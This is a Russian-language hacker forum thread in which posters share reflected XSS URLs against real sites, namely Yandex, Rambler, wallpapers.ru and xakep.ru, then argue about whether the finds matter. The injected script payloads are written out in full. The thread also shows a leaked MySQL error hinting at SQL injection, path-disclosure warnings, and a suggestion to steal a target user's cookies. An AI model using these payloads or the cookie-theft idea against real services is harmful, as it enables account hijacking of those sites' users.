XSS на Yandex.RU

[Gang100]

Нашел XSS на Яндексе (IE)

_http://www.yandex.ru/yandsearch?Link="><script>alert('found_by_Gang100')</script>

[tclover]

На ФФ не работает :)

[member_ru]

Чёт и у меня не пашет, пофиксили что-ли уже ?

[vectorg]

как сказал маленький литовский мальчик: "ну и что?" +))
их там сотни
в опере тоже не работает...

[Gang100]

мда-пс работает только в Ie

[Гаврила]

И на Рамблере :)
http://www.rambler.ru/cgi-bin/advanced.cgi?set="><script>alert('found_by_Gavrila')</script>

[+toxa+]

XSS на популярном портале))

http://wallpapers.ru/cgi-bin/forum/top.pl?author="><script>alert('xss')</script>

+ выдаётся ссобщение

Временные неполадки на сервере баз данных (MySQL)
На сервере баз данных возникли временные неполадки.
Причина: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'xss')' AND icon_autor >= 2' at line

[Zadoxlik]

Большинство пассивных хсс мультибраузерные. Так же как и эти. (_|_)

На самом деле и на яндексе и на рамблере есть простые мультибраузерные активные хсс, не страдайте ***ней!

[Morph]

http://www.xakep.ru/post/30551/default.asp?"></iframe><script>alert(/xss/)</script><xexe="
такаяже байда точно такая же пасивная и чего?

[A110ut]

как что?! АКОШКА ВЫСКАЧЕЛО! Я ХАЦКНУЛ ХАЦКЕР! :]

[SanyaX]

Кстати XSS про yandex.ru мишка давно находил её даже вроде статью делал.

[SanyaX]

Снимать штаны и бегать... Шутка.ПОпробуй стырить куки у пользваотеля которого хочешь взломать.

[iNcluDe]

По моему от этого бага толка нет, нафига его вообще публиковать %)
Вот например на на античате тоже баг есть, не XSS но есть

Warning: Wrong parameter count for mysql_result() in z:\home\video.antichat.net\www\index.php on line 26

Warning: Wrong parameter count for mysql_result() in z:\home\video.antichat.net\www\index.php on line 26

Толку от него нет.

В общем я думаю не стоит публиковать баги, от которых толку нет

[KEZ]

Не думаю что после алерта можно считать yandex взломаным, а базу слитой...

[что, я лоханулся опять, да?]

[member_ru]

iNcluDe, эта бага расскрытия пути :)

[Morph]

да клоуны ерундой не майтесь плизз.

[Morph]

это как сказано в одном фильме трактористов разводить :)))))))

[Rebz]

Warning: Wrong parameter count for mysql_result() in z:\home\video.antichat.net\www\index.php on line 26
ёпт, скоро раз обсуждали этот вопрос.. это не бага, это Задохлик прикалывается.. =)

[max_pain89]

какой z: +))))) развод это все)
античат вообще в /usr/home/host[****]/domains насколько я помню

[iNcluDe]

iNcluDe, эта бага расскрытия пути :)
Я и сам знаю =))
Это даже багом назвать трудно

Это я так, к примеру привел